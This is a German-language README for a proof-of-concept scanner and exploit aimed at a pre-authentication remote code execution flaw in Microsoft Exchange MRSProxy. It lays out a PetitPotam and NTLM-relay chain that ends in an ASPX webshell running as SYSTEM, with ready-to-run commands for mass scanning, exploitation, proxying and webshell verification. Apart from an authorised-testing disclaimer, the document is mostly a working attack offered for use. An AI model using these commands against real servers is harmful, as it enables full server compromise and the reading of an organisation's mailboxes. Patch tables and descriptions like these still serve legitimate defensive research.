CVE-2026-62911 — Exchange MRSProxy Pre-Auth-RCE-PoC | Scanner + Exploit | NTLM-Relay → Webshell → SYSTEM
Pre-Authentifizierungs-Remote-Code-Execution in Microsoft Exchange Server über NTLM-Relay zum HTTP.sys-gehosteten MRSProxy-WCF-Endpunkt, dem Extended Protection for Authentication (EPA) fehlt.
Erkennt außerdem CVE-2026-96940 (CVSS 8.8) — Privilegieneskalation, die es jedem authentifizierten Benutzer ermöglicht, ALLE Postfächer in der Organisation zu lesen.
┌─────────────┐ PetitPotam ┌─────────────┐ NTLM Relay ┌─────────────┐
│ Exchange A │──────────────→│ Attacker │──────────────→│ Exchange B │
│ (trigger) │ MS-EFSR │ (relay) │ MRSProxy │ (target) │
│ │ NTLM hash │ │ HTTP.sys │ │
└─────────────┘ └─────────────┘ └─────────────┘
│
IMailbox_Config6()
filePath=shell.aspx
│
IMailbox_Connect()
PSTSession.Open()
│
┌───────▼───────┐
│ ASPX Webshell │
│ NT AUTHORITY │
│ \SYSTEM │
└───────────────┘
Keine Anmeldeinformationen erforderlich. PetitPotam löst eine nicht authentifizierte MS-EFSR-Zwangskopplung aus. Der NTLM-Hash des Maschinenkontos wird an MRSProxy weitergeleitet, dem Channel Binding (EPA) fehlt. Die Dateipfad-Injektion über ConfigPst schreibt eine beliebige Datei auf die Festplatte – ohne Prüfung der Dateiendung.
| Produkt | Anfällig | Gepatcht | KB |
|---|---|---|---|
| Exchange 2016 CU23 | < 15.1.2507.72 | 15.1.2507.72 | KB5121576 |
| Exchange 2019 CU14 | < 15.2.1544.43 | 15.2.1544.43 | KB5121575 |
| Exchange 2019 CU15 | < 15.2.1748.48 | 15.2.1748.48 | KB5121574 |
| Exchange SE RTM | < 15.2.2562.45 | 15.2.2562.45 | KB5121573 |
git clone https://github.com/c5z54/cve-2026-62911-poc.git
cd cve-2026-62911-poc
pip install -r requirements.txt
# Single target
python3 poc.py --scan -t mail.target.com
# Mass scan from file
python3 poc.py --scan -f targets.txt
# JSON output
python3 poc.py --scan -t mail.target.com --json
# Save results
python3 poc.py --scan -f targets.txt --json -o results.json
Beispielausgabe:
mail.target.com
MRSProxy: HTTP 401 Server=Microsoft-HTTPAPI/2.0 [VULNERABLE]
Version: 15.1.2507.39
Domain: CORP.TARGET.COM
Hostname: EXCH01.CORP.TARGET.COM
[!] CVE-2026-62911 (CVSS 8.0) — Pre-auth NTLM relay RCE via MRSProxy (no EPA)
Installed: 15.1.2507.39 | Patch: 15.1.2507.72 (KB5121576)
[!] CVE-2026-96940 (CVSS 8.8) — Privilege escalation — read any mailbox in org
Installed: 15.1.2507.39 | Patch: 15.1.2507.75 (KB5129958)
# Basic — two Exchange servers, zero credentials
python3 poc.py -t 10.0.0.10 -e 10.0.0.11 -l 10.0.0.100
# With AD credentials for PetitPotam
python3 poc.py -t 10.0.0.10 -e 10.0.0.11 -l 10.0.0.100 \
-u john -p 'P@ss123' -d CORP
# Custom webshell path
python3 poc.py -t 10.0.0.10 -e 10.0.0.11 -l 10.0.0.100 \
--webshell-path 'C:\inetpub\wwwroot\aspnet_client\x.aspx'
# Through SOCKS proxy
python3 poc.py -t 10.0.0.10 -e 10.0.0.11 -l 10.0.0.100 \
--socks 127.0.0.1 --socks-port 10800
# Verify webshell
python3 poc.py --verify-only -t 10.0.0.10
impacket >= 0.11.0 (nur Exploit-Modus — der Scanner verwendet die Standardbibliothek)pysocks (optional — SOCKS-Proxy-Unterstützung)PetitPotam ruft EfsRpcOpenFileRaw (MS-EFSR, Opnum 0) auf dem Trigger-Exchange-Server mit einem UNC-Pfad auf, der auf den Angreifer zeigt. Der Server authentifiziert sich beim Angreifer mit dem NTLM-Hash seines Maschinenkontos.
NTLM Relay fängt die NTLM-Nachrichten vom Typ 1/2/3 über SMB ab und leitet sie über HTTPS an den MRSProxy-Endpunkt des Ziel-Exchange weiter. Da MRSProxy auf HTTP.sys kein EPA (Channel Binding) unterstützt, gelingt das Relay.
WCF-Exploitation nutzt die authentifizierte Sitzung, um IMailbox_Config6 mit einem filePath aufzurufen, der auf einen .aspx-Webshell-Speicherort zeigt. Die Methode PstDestinationMailbox.ConfigPst() validiert die Dateiendung nicht.
File Write wird durch IMailbox_Connect() ausgelöst, das PSTSession.Open() aufruft und dabei den Inhalt des Angreifers auf die Festplatte schreibt.
Webshell wird als NT AUTHORITY\SYSTEM ausgeführt — vollständige Kompromittierung des Servers.
Dieses Tool wird ausschließlich für autorisiertes Sicherheitstesting und Forschung bereitgestellt. Verwenden Sie es nur gegen Systeme, für deren Test Sie eine ausdrückliche schriftliche Genehmigung besitzen. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Verantwortung für jeglichen Missbrauch.